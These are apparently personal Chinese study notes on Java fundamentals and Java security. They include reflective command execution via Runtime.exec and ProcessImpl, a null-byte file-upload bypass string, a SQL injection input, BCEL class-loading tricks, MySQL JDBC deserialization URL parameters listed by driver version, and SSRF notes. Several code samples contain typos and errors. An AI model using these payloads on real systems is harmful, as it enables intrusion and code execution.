Java安全

个人学习随笔 笔记比较零碎

java基础知识

java的运行机制

  1. 写下一个.java文件
  2. 通过编译器编译.java文件(源文件) 变成.class文件
  3. 通过JVM运行.class文件(字节码文件) 运行java代码

jdk

jdk – java开发工具箱

jdk = jre + java开发工具箱

jre

jre – java 运行环境

jre = JVM + java的核心类库

JVM

java虚拟机 – JVM （java virtual machine）

JVM包含在jdk中

java规范

程序入口

1
2
3
pubilc static void main(String[] args){
    
}

一个.java文件中只能有一个public类

文件名必须和public类名一样

字符与码表

字符是通过查码表在计算机中表示的

键入一个字符会先通过编码类型查看具体的码值并记录在计算机中

ascii

unicode

utf-8

gbk

类中的访问控制修饰符

pubilc 共有的 对外公开

protect 受保护的 对子类和同一个包中的类公开

private 私有的 只有类本身可以访问 不对外公开

default 默认 对同类和同一个包中的类公开

image-20260309210236130

类中的非访问控制修饰符

static 静态

final 最终

abstract 抽象

JVM中的内存分配

栈 堆 方法区

栈主要用来存放基本数据类型 方法

堆主要用来存放对象

方法区主要用来存放常量 类加载消息 (常量池)

封装

将对象中的成员私有化封装起来不被外部直接使用 通过成员方法调用

封装器

用于初始化类的封装方法

1
2
3
4
5
6
7
class Animal {
    //封装器的方法名要和类名相同 没有返回类型
    public Animal (int name , int age) {
        this.name = name;
        this.age = age;
    }
}

super封装器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Animal {
    //父类定义了有参构造器会覆盖掉默认的无参构造器
    public Animal (int name , int age) {
        this.name = name;
        this.age = age;
    }
}

class Dog  extends Animal {
    public Dog (int name , int age) {
        //子类在继承父类的时候会默认调用无参构造器 如果父类没有无参构造器 一定要在子类中指定父类的一种构造器
        super()
        this.name = name;
        this.age = age;
    }
}

继承

子类继承父类的属性和方法

类只能单继承 接口可以多继承

类的多继承可以通过内部类来实现

动态绑定机制

当调用对象方法的时候 该方法会和该对象的内存地址/运行内存进行绑定

当调用对象属性的时候 没有动态绑定的关系 哪里运行哪里调用

1
Sub instanceof Base

继承父类的子类 会自动调用父类的构造器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Animal {
    //父类定义了有参构造器会覆盖掉默认的无参构造器
    public Animal (int name , int age) {
        this.name = name;
        this.age = age;
    }
}

class Dog  extends Animal {
    public Dog (int name , int age) {
        //子类在继承父类的时候会默认调用无参构造器 如果父类没有无参构造器 一定要在子类中指定父类的一种构造器
        super()
        this.name = name;
        this.age = age;
    }
}

重载

同一个类中可以有同名方法 但是参数列表一定要是不同的

1
2
3
4
5
6
7
8
9
Class Animal {
    public int hhh(int a){
    	return a;
    }
    public int hhh(String a , int b){
    	return b;
    }
}

重写 override

子类中的方法的参数和方法名 要和父类中的方法的参数和方法名相同

子类方法中的返回类型是父类方法中的返回类型的子类或者相同类

子类方法不能缩小父类方法的访问权限

1
2
3
4
5
6
7
8
9
10
Class Animal {
    public String cry(){
        return "hyw";
    }
}
Class Dog extends Animal {
    public String cry(){
        return "wow wow wow";
    }
}

equals与==的区别

对于==

  1. 对于基本数据类型 判断值的大小
  2. 对于引用数据类型 判断引用的对象是否相同 确认引用对象的内存地址

多态

创建的对象可以有多种的形态 主要通过重载和重写实现

对象多态

接口多态

方法多态

参数多态

父类可以引用子类

子类需要继承父类

向上转型

2个对象存在继承关系

多态的向上转型

本质: 父类的引用指向了子类对象

编译类型 应用类型

父类类型 应用名 = new 子类()

可以调用父类中的所有成员 (遵循访问控制)

不能调用子类的特有成员 (只存在于子类中 父类中没有的成员 无法被调用)

最终运行效果看子类 从子类开始查找方法并调用

向下转型

子类类型 引用名 = (子类类型) 父类引用

父类的引用必须指向当前目标类型的对象

多态中的属性

引用属性看编译类型

main方法

1
2
3
public static void main(String args[]) {
    
}

JVM运行main方法的时候 和main方法不在同一个包中 所以要用public

执行main()方法时不必创建对象 所以要用static

代码块

当一个类被创建的时候自动执行的代码 是对类构造器的补充

代码块何时会被调用 （类何时被加载）

  1. 创建对象实例时
  2. 创建子类实例
  3. 使用类的静态成员时

代码块可以是静态的也可以是非静态的 当代码块为非静态的时候 每次类被调用的时候都会自动执行代码块

静态代码块和类的加载有关 非静态代码块和类的创建有关

1
2
3
4
5
6
7
8
Class Movie {
    public String name;
    public int price;
    
    {//代码块
        System.out.println("电影开始");
    }
}

类创建时类中的初始化先后过程

  1. 静态方法和静态成员初始化
  2. 普通方法和普通成员初始化
  3. 代码块
  4. 调用构造方法

接口

interface 关键字定义。它本质上是一种行为的规范或契约，规定了实现它的类“必须做什么”，但不关心“具体怎么做”

类可以同时实现多个接口

1
2
3
class A implements ab,ac {
    
}

接口中属性是 public static final 必须赋值

接口可以继承多个接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Interface Usbinterface {
    public void start();
    public void stop();
}
//接口中可以有默认方法 静态方法 共有方法
//默认方法 静态方法可以写方法体 共有方法不能写方法体
class Phone implements Usbinterface {
    @Override
    public void start() {
        System.out.println("手机开始工作");
    }
    @Override
    public void stop() {
        System.out.println("手机停止工作");
    }
    
    
}

内部类

局部内部类中可以直接访问外部中的所有成员 包括私有的

匿名内部类

1
2
3
new 类或接口(参数列表) {
    类体
};

成员内部类

静态内部类

泛型

泛型是不变量

泛型参数声明

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void main(String args[]) {
    //类级泛型声明
    class Animal <T>{
        //使用类中的T
        private T name;
        public T getName() {
            return name;
        }
        public void setName(T name) {
            this.name = name;
        }
    }
}

泛型方法声明

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void main(String args[]) {
	class a{
        //此时类中没有定义泛型声明
        //这里的T是方法自己定义的 和 类定义的泛型无关
        public <T> void aa(T t){
            System.out.print(t.class)
        }
        //静态方法中必须要如果要写成泛型 一定<T>
        public static <T> void aaa(T t){
            
        } 
    }
}

泛型类声明

1
2
Class<?>
Object<?>

java中的各种流

InputStream OutputStream 字节流

reader writeer 字符流

节点流 vs 处理流

把“数据从哪里来/到哪里去”和“数据怎么处理”分开。

装饰器模式 (Decorator Pattern)

理念：动态地给对象添加功能，而不是通过继承产生无数个子类。

实现：处理流的构造函数接收一个“流对象”作为参数，把它包起来，增加新功能后，再暴露同样的接口。

效果：可以像俄罗斯套娃一样层层包装。

image-20260318152933948

image-20260318152944390

java安全基础

jdk安全分水岭

1. JDK 9：模块系统与反射限制 (分水岭)

  • 核心变化：引入 Java Platform Module System (JPMS)。

  • 影响

    ：

    • 封装性增强：JDK 内部的包（如 java.lang, java.util）默认不再对 unnamed module（普通用户代码）开放。
    • 反射受限：即使使用 setAccessible(true)，如果目标模块没有 opens，反射也会失败。这就是你遇到报错的直接原因。
    • 目的：防止恶意代码通过反射篡改 JDK 内部核心逻辑，提高平台安全性。

  • 口号：“强封装” (Strong Encapsulation)。

2. JDK 14 - 16：过渡与清理

  • JDK 14：默认禁止反射访问非 opens 的包（之前在 JDK 9-13 只是警告，可以通过参数忽略，从 14 开始默认报错）。

  • JDK 15 & 16

    ：

    • 移除了 Nashorn JavaScript 引擎（一个常见的攻击面）。
    • 禁用了 TLS 1.0 和 1.1（过时的不安全协议）。
    • 开始逐步废弃 SecurityManager（因为配置复杂且容易被绕过，官方打算用更细粒度的机制替代）。

3. JDK 17 (LTS)：全面加固 (当前主流)

  • 核心变化：彻底落实 JDK 9 的愿景，并清理历史包袱。

  • 影响

    ：

    • SecurityManager 废弃：标记为 deprecated，官方明确不建议在新应用中使用，未来版本将移除。
    • 禁止动态代理访问非公共接口：进一步限制反射能力。
    • 更强的默认值：许多原本需要手动开启的安全选项现在默认开启。

  • 地位：目前企业级开发的首选 LTS 版本，安全基线很高。

4. JDK 21 (LTS) 及未来：现代化安全

  • 核心变化：引入 虚拟线程 (Virtual Threads) 的同时，继续收紧底层权限。

  • 影响

    ：

    • 外部函数与内存 API (Foreign Function & Memory API)：取代了不安全的 sun.misc.Unsafe 和 JNI，提供了更受控的内存访问方式。

    • 严格模式：对于未命名的模块访问 JDK 内部 API 的限制更加严格，几乎堵死了所有“旁门左道”。

Class类

Class类是JVM中运行.class文件时用与表示运行中的类 / 接口的一个特殊类

数组 基本数据类型 void关键字也都各自有Class对象

在运行时 JVM会自动创建一个Class类

Class类中存实例对象中的元数据 比如字段列表 方法列表 父类 子类

image-20260312212659812

获取Class类的方法

1
2
3
4
1. Class.fromName("全限定类名")
2. 类.class
3. 对象.getClass()  
4. 类加载器得到Class类

反射

运行时 动态调用类中的属性或方法的一种机制

只能调用方法 或者修改字段值 可以访问私有成员 setAccessible(true)

一切的初始目标就是为了获取Class类

通过反射获取A类的Class类 -> 获取A类的方法 / 属性

反射创建实例对象 A类的Class类 -> A类对象

注意: 在jdk9之前 有些即使构造器是私有的类 也可以通过反射获取对象

jdk9之后 无法通过反射

反射访问对象成员

1
2
3
4
5
6
7
8
9
10
11
//Class testClass = nameClass.class
Methods[] methods = testClass.getDeclaredMethods();//获得所有成员方法
Methods method = testClass.getDeclaredMethod();

Fileds[] fileds = testClass.getDeclaredFields();//获得所有的成员属性
Filed filed = testClass.getDeclaredFields();

Object obj = field.get(类实例对象);//访问对象属性值

field.setAccessible(true);
field.set(类实例对象,值);//修改对象属性值

ClassLoader加载机制

通过类加载器ClassLoader 将.class字节码文件加载到JVM的内存中

并将其转换为java.lang.Class对象

JVM中有4种类加载器

  1. Bootstrap ClassLoader (引导类加载器)

    加载java的核心api java.util.* java.lang.*

  2. Platform ClassLoader (平台类加载器) jdk8前叫 Extension ClassLoadler (扩展类加载器)

    加载扩展库后平台模块

  3. Application ClassLoader (应用类加载器) jdk8前叫 System ClassLoader (系统类加载器)

    加载用户类路径下的类 application

    默认情况下会启动Appaction ClassLoader

  4. Custom ClassLoader (自定义类加载器)

    继承java.lang.ClassLoader类自行编写

双亲委派模型

加载类的时候 类加载器会先请求上层的加载器先去加载类

ClassLoader类加载过程

加载

将类的.class文件读入内存 并创建一个java.lang.Class对象

将字节码从不同的数据源(class文件 jar包 网络) 转化为二进制字节流加载到内存中

加载类的时候通过双亲委派的机制 先让上层的ClassLoader先去尝试加载类 如果类加载器找不到 会自动将委托传到下层类加载器 默认的类加载器是Application ClassLoader 通过双亲委托去加载类 如果ApplicationClassLoader 也找不到要加载的类 会尝试使用自定类加载类

链接

将类的二进制数据合并到JRE中

  1. 验证

    检验.class文件中二进制字节流中符合当前JVM的需求

    检测文件格式（检查文件文件魔数 文件头） 元数据验证 （语义分析 继承合法性 方法覆盖合法性 ）字节码验证 （操作数栈一致性 类型转换 变量初始化）符号引用验证 （存在性检查 可见性检查）

  2. 准备

    对静态变量 分配内存并默认初始化 这些变量所使用的内存都在方法区内配置

  3. 解析

    将符号引用转化为直接引用

初始化

JVM负责对类进行初始化 主要是静态成员

将静态变量的赋值和静态代码块中的语句进行和并 并进行

ClassLoader核心方法

1
2
3
4
5
loadClass（加载指定的Java类） loadClass() -> findClass() -> defineClass()
findClass（查找指定的Java类）
findLoadedClass（查找JVM已经加载过的类）
defineClass（定义一个Java类）
resolveClass（链接指定的Java类）

通过Class类的formName方法获得Class类

1
2
3
4
5
6
//Main.java
import java.lang.reflect.Method;
public class Main {
    public static void main(String[] args) {
        Class cmd = Class.formName("com.cmd.Cmd");
    }
1
2
3
4
5
6
7
8
9
10
11
//Cmd.java
package com.cmd;
import java.lang.Runtime;

public class Cmd {
    //创建静态公共方法
    public static  Process cmd(String cmd) throws java.io.IOException{
        //Runtime类中的构造器为私有的没法创建一个Runtime对象并调用exec()方法
        return Runtime.getRuntime().exec(cmd);
    }
}

通过创建实例对象获得对象的Class类

1
2
3
4
5
6
7
//Main.java
import com.cmd.Cmd;
public class Main {
    public static void main(String[] args) {
        Class<?> cmd = new Cmd();
        Class cmdClass = cmd.getClass;
    }
1
2
3
4
5
6
7
8
9
10
11
//Cmd.java
package com.cmd;
import java.lang.Runtime;

public class Cmd {
    //创建静态公共方法
    public static  Process cmd(String cmd) throws java.io.IOException{
        //Runtime类中的构造器为私有的没法创建一个Runtime对象并调用exec()方法
        return Runtime.getRuntime().exec(cmd);
    }
}

直接通过类加载其Class类

1
2
3
4
5
6
7
//Main.java
import com.cmd.Cmd;
public class Main {
    public static void main(String[] args) {
        Class cmd = Cmd.Class;
    }

1
2
3
4
5
6
7
8
9
10
11
//Cmd.java
package com.cmd;
import java.lang.Runtime;

public class Cmd {
    //创建静态公共方法
    public static  Process cmd(String cmd) throws java.io.IOException{
        //Runtime类中的构造器为私有的没法创建一个Runtime对象并调用exec()方法
        return Runtime.getRuntime().exec(cmd);
    }
}

通过类加载器反射调用其他类方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//Main.java
import java.lang.reflect.Method;
public class Main {
    public static void main(String[] args) {
        try {
            //获取类加载器
            //java核心API的类加载器大部分是通过引导类加载器加载的
            //Bootstrap ClassLoader是C++编写的 如果尝试获取Bootstrap ClassLoader会获得一个null
            ClassLoader loader = Main.class.getClassLoader();

            //加载指定的类
            Class<?> cmd = loader.loadClass("com.cmd.Cmd");
            //获取类中的方法
            String cmd1 = "cmd /c start cmd";
            Method method = cmd.getMethod("cmd",String.class);
            //反射调用方法
            method.invoke(null,cmd1);

        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
//Cmd.java
package com.cmd;
import java.lang.Runtime;

public class Cmd {
    //创建静态公共方法
    public static  Process cmd(String cmd) throws java.io.IOException{
        //Runtime类中的构造器为私有的没法创建一个Runtime对象并调用exec()方法
        return Runtime.getRuntime().exec(cmd);
    }
}

注意点

1
2
3
4
5
6
7
8
9
10
11
1.public Method getMethod(String name, Class<?>... parameterTypes) throws NoSuchMethodException, SecurityException
//Class.getMethod()方法需要传入2个或2以上个的参数 (具体要看调用方法中传入的参数个数)
//第一个参数 String name 是需要调用成员方法的方法名
//第二个参数 Class<?>... parameterTypes 方法中所需的形参类型
    
2.public Object invoke(Object obj, Object... args) throws IllegalAccessException, InvocationTargetException
Method.invoke()方法需要传入2个或2以上个的参数 (具体要看调用方法中传入的参数个数)
//第一个参数 Object obj 是调用该方法的对象
//如果调用的方法是静态方法 这个参数为null
//如果调用的方法是非静态的方法 则需要传入一个实例对象
//第二个参数 Object args 是需要传入的具体参数

通过自定义类加载器反射调用类方法

类加载器的加载过程

ClassLoader.loadClass()

  1. 类加载器检查当前类是否已经加载过了 如果加载过了 直接返回对象
  2. 执行双亲委托机制去加载类 如果都加载不出来的话 通过自身加载类
  3. 如果还是加载不出来则调用findClass()方法 自动抛出错误ClassNotFoundException

通过重写findClass()方法可以加载自己定义的类的二进制数据流 (加载自定义类)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//TestClassLoader.java
package com.anbai;

import java.lang.reflect.Method;


public class TestClassLoader extends ClassLoader {

    // TestHelloWorld类名
    private static String testClassName = "com.anbai.TestHelloWorld";

    // TestHelloWorld类字节码
    private static byte[] testClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
            16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
            1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
            101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
            114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
            32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
            115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
            116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
            0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
            1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
            0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
            0, 0, 0, 2, 0, 12
    };

    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 只处理TestHelloWorld类
        if (name.equals(testClassName)) {
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
        }

        return super.findClass(name);
    }

    public static void main(String[] args) {
        // 创建自定义的类加载器
        TestClassLoader loader = new TestClassLoader();

        try {
            // 使用自定义的类加载器加载TestHelloWorld类
            Class testClass = loader.loadClass(testClassName);

            // 反射创建TestHelloWorld类，等价于 TestHelloWorld t = new TestHelloWorld();
            // 使用无参构造器创建实例
            // Object testInstance = testClass.getDeclaredConstructor().netInstance()
            Object testInstance = testClass.newInstance();

            // 反射获取hello方法
            Method method = testInstance.getClass().getMethod("hello");

            // 反射调用hello方法,等价于 String str = t.hello();
            String str = (String) method.invoke(testInstance);

            System.out.println(str);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

跨类加载器加载机制

类加载并创建的对象是由类和所使用的类加载器所决定的

如果Class A 分别由ClassLoader A 和 ClassLoader B加载

那么创建出来的对象就不是同一个实例对象

BCEL类 加载器和Xalan 类加载器

(java反序列化洞)

详见BCEL ClassLoader 和 Xalan ClassLoader

BCEL 是 Apache Jakarta 项目下的一个开源 Java 库，全称是 Byte Code Engineering Library。

它的唯一目的只有一件事：以编程方式分析、创建和修改 Java 字节码（.class 文件）。

主要功能

  1. 生成动态代理类

  2. 代码插桩（比如在方法前后自动插入日志或性能监控代码）

  3. 编译器开发（将其他语言编译成 Java 字节码）

  4. 代码混淆器或优化器

如果把 .class 文件比作“二进制机器码”，BCEL 就是一套允许你用 Java 代码直接编写、修改这些“机器码”的工具包，而不需要手写十六进制数据。

原理

BCEL类中的ClassLoader 全限定类名:com.sun.org.apache.bcel.internal.util.ClassLoader

当BCEL的com.sun.org.apache.bcel.internal.util.ClassLoader.loadClass()加载一个类名中带有$$BCEL$$的类时会截取出$$BCEL$$后面的字符串，然后使用com.sun.org.apache.bcel.internal.classfile.Utility.decode()将字符串解析成类字节码，最后会调用defineClass()注册解码后的类，一旦该类被加载就会触发类中的恶意代码

适用性

BCEL 6.0以下

Oracle自带的BCEL是修改了原始的包名，因此也有兼容性问题，已知支持该特性的JDK版本为：JDK1.5 - 1.7、JDK8 - JDK8u241、JDK9

java中的FileSystem

java se中 有2个文件操作库 java.io, java.nio

image-20260314091327959

FileInputStream读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.*;
class fisdemo{
 	public static void main(String[] args) {
    //创建文件对象f
    File f = new File("/etc/passwd");
    //创建文件输入流对象fis 并读取文件对象f
    FileInputStream fis = new FileInputStream(f);
    //创建字节数组对象
    byte[] bytes = new byte[1024]
    int a = 0;
    ByteArrayOutputStream out = new ByteArrayOutputStream();
    
    while((a = fis.read(bytes)) != -1) {
        out.write(bytes,0,a);
    }
    
    System.out.println(out.tostring());
	}   
}

FileOutputStream写入文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.*;
package com;
import java.io.*;
public class write {
    public static void main(String[] args){
        try{
            File f = new File("E:\\java-study\\1.txt");
            FileOutputStream fos = new FileOutputStream(f);
            String context = "hello world";
            fos.write(context.getBytes());
            fos.flush();
            fos.close();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

RandomAcessFile读写文件

大致方法和FileOutputStream和FileInputStream方法没什么区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com;
import java.io.*;

public class RandomAccessFileReadDemo {
    public static void main(String[] args){
        File f = new File("E:\\java-study\\1.txt");
        try{
            //创建RandomAccessFile对象
            RandomAccessFile raf = new RandomAccessFile(f,"r");
            byte[] bytes = new byte[1024];
            int a = 0;
            ByteArrayOutputStream out = new ByteArrayOutputStream();
            while((a = raf.read(bytes)) != -1){
                out.write(bytes,0,a);
            }
            System.out.println(out.toString());
        }catch(Exception e){
            e.printStackTrace();
        }

    }


}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com;
import java.io.*;

public class RandomAccessFileWriteDemo {
    public static void main(String[] args){
        File f = new File("E:\\java-study\\1.txt");
        try{
            //创建RandomAccessFile对象
            RandomAccessFile raf = new RandomAccessFile(f,"rw");
            String context = "ni hao";
            raf.write(context.getBytes());
            raf.close();
		
        }catch(Exception e){
            e.printStackTrace();
        }

    }


}

FileSystemProvider读写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class FileSystemProviderDemo {
    public static void main(String[] args) {
        Path p = Paths.get("E:\\java-study\\1.txt");
        try{
            byte[] bytes = Files.readAllBytes(p);
            System.out.println(new String(bytes));
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class FileSystemProviderDemo {
    public static void main(String[] args) {
        Path p = Paths.get("E:\\java-study\\1.txt");
        try{
            String context = "ssskuu";
            Files.write(p,context.getBytes());
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

空字节截断

jdk 1.7.40之前的版本 在java.io.File中没有检测空字节

由于java的api都是c写的 c里面遇到空字节会自动结束

如果java的api中没有自己显式的检测是否有空字节 否则默认会截断

常用于文件上传漏洞中 11.jsp\u0000.jpg

命令执行

Runtime.exec()命令执行

1
2
3
public static void main(String args[]) {
    Runtime.getRuntime().exec("calc");
}

ProcessBuilder命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;

public class ProcessbuliderDemo {
    public static void main(String[] args) {
        try{
            String cmd = "whoami";
            //执行cmd 
            //start()启动 并获得输入流
            InputStream in = new ProcessBuilder(cmd).start().getInputStream();
            //将输入流中的数据输出
            byte[] bytes = new byte[1024];
            ByteArrayOutputStream out = new ByteArrayOutputStream();
            int a = 0;
            while((a = in.read(bytes)) != -1){
                out.write(bytes,0,a);
            }
            System.out.println(out.toString());
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

ProcessImpl

ProcessImpl是真正负责创建和启动操作系统进程的核心类

1
2
3
4
5
6
7
public static void main(String args[]) {
    ProcessImpl p = Class.forName("java.lang.ProcessImpl");
    String[] cmd = new String[]{"calc"};
    Method method = p.getDeclaredMethod("start", String[].class, Map.class,String.class, ProcessBuilder.Redirect[].class, boolean.class);
    method.setAcessable(true);
    Process process = method.invoke(null,cmd,null,null,null,false);
}

jdbc

核心api

java.sql.DriverManager

Java通过java.sql.DriverManager来管理所用数据库的驱动注册，提供getConnection方法来连接数据库

java.sql.Driver

负责对数据库的链接 所有的数据库驱动包都要实现这个接口

java.sql.Connection

getConnection之后 返回Connection对象 在此对象上进行操作

sql注入防御

  1. 转义引号
  2. 限制传入的数据
  3. 预编译

预编译

将查询语句的结构与参数数据分离

使得传入的数据 不会被当做sql语句被执行 只是一段字符串而已

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
String username = request.getParameter("user");
// 直接拼接字符串，极度危险
String sql = "SELECT * FROM admin WHERE name = '" + username + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql); 
// 如果 username 输入：admin' --
// SQL 变为：SELECT * FROM admin WHERE name = 'admin' --'
// 后面的引号和条件被注释掉，导致绕过密码验证


String username = request.getParameter("user");
// 使用 ? 占位符
String sql = "SELECT * FROM admin WHERE name = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);

// 安全地设置参数
pstmt.setString(1, username); 

ResultSet rs = pstmt.executeQuery();
// 即使 username 是 admin' --
// 数据库也会查找名字 literally 叫做 "admin' --" 的用户，通常不存在

detectCustomCollations链

根据调用链中的某个判断语句中的属性参数决定是否会触发反序列化 因此叫detectCustomCollations链

属性参数detectCustomCollations

满足条件

  1. autoDeserialize=true
  2. detectCustomCollations=true
  3. 特定版本mysql驱动

触发

调用DriverManager.getConnection(url) 时即可触发

mysql-connector-java版本

5.1.19–5.1.28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
调用链
ConnectionImpl()
    ConnectionImpl.createNewIO()
        ConnectionImpl.connectOneTryOnly()
            ConnectionImpl.initializePropsFromServer()
                ConnectionImpl.buildCollationMapping()
            Util.resultSetToMap()
                ResultSetImpl.getObject()
    	
    
Field fields = ResultSetImpl.fields[columnIndexMinusOne]

field.getSQLType()  //满足为-2 数据库中的字段类型必须被识别为 BLOB 类型
    field.getMysqlType() == 255 //false 不为MYSQL_TYPE_GEOMETRY 什么条件满足 这个自然满足
    	!field.isBinary() && !field.isBlob() //false 段类型必须被识别为 BLOB类型 或者是Binary类型
    		!this.connection.getAutoDeserialize() //false jdbc的url中的参数AutoDeserialize=true
    			data != null && data.length >= 2  //true 查询到的数据不为null 且长度大于等于2
    				data[0] != -84 || data[1] != -19 //false 第一个与第二个的 0xAC 0xED 数据为java的序列化数据

5.1.29—5.1.40

ConnectionImpl.buildCollationMapping()中到Util.resultSetToMap()的判断句

1
5.1.19--5.1.28 if (this.versionMeetsMinimum(5, 0, 0))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
5.1.29---5.1.40 

ConnectionImpl()
    ConnectionImpl.createNewIO()
        ConnectionImpl.connectOneTryOnly()
            ConnectionImpl.initializePropsFromServer()
                ConnectionImpl.buildCollationMapping()
        if (this.versionMeetsMinimum(4, 1, 0) && this.getDetectCustomCollations())
    this.detectCustomCollations.getValueAsBoolean()
    	return (Boolean)this.valueAsObject //默认为false
            
            Util.resultSetToMap()
                ResultSetImpl.getObject()    

    
//url中添加参数即可
autoDeserialize=true&detectCustomCollations=true

5.1.41—5.1.48

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ConnectionImpl()
    ConnectionImpl.createNewIO()
        ConnectionImpl.connectOneTryOnly()
            ConnectionImpl.initializePropsFromServer()
                ConnectionImpl.buildCollationMapping()
    
    if (customCharset == null && this.getDetectCustomCollations() && this.versionMeetsMinimum(4, 1, 0))
        //customCharset默认为null

                    results.getObject(3)).intValue()
    			ResultSetImpl.getObjectDeserializingIfNeeded()
    
    
//url中添加参数即可
autoDeserialize=true&detectCustomCollations=true

6.0.2—6.0.6

1
2
//依旧
autoDeserialize=true&detectCustomCollations=true

ServerStatusDiffInterceptor

url中设置一个拦截器statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

触发反序列化

条件

  1. autoDeserialize=true
  2. statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
  3. 特定版本

5.1.0—5.1.10

1
2
3
4
5
6
7
8
9
com.mysql.jdbc.PreparedStatement.executeQuery(PreparedStatement.java:2228)
    com.mysql.jdbc.PreparedStatement.executeInternal(PreparedStatement.java:2077)
        com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2648)
            com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:2008)
    		if (this.statementInterceptors != null)
                com.mysql.jdbc.MysqlIO.invokeStatementInterceptorsPre
                    com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor.preProcess
                		ServerStatusDiffInterceptor.populateMapWithSessionStatusValues
                			Util.resultSetToMap
1
autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.1.11—5.x.xx

在查询的时候就会触发反序列化

1
2
3
4
5
6
7
8
9
10
11
......
ConnectionImpl()
    ConnectionImpl.createNewIO()
		ConnectionImpl.initializePropsFromServer()
    		ConnectionImpl.loadServerVariables()
    			PreparedStatement.executeQuery
    				ConnectionImpl.execSQL
    					MysqlIO.sqlQueryDirect
    						MysqlIO.invokeStatementInterceptorsPre
    							ServerStatusDiffInterceptor.preProcess
    								ServerStatusDiffInterceptor.populateMapWithSessionStatusValues
1
autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

6.x

和5.1.11—5.x.xx一样

驱动名更改了

1
autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

8.0.17——8.0.20

1
autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

URLConnection

ssrf

  • 利用file协议读取文件内容（仅限使用URLConnection|URL发起的请求）
  • 利用http 进行内网web服务端口探测
  • 利用http 进行内网非web服务端口探测(如果将异常抛出来的情况下)
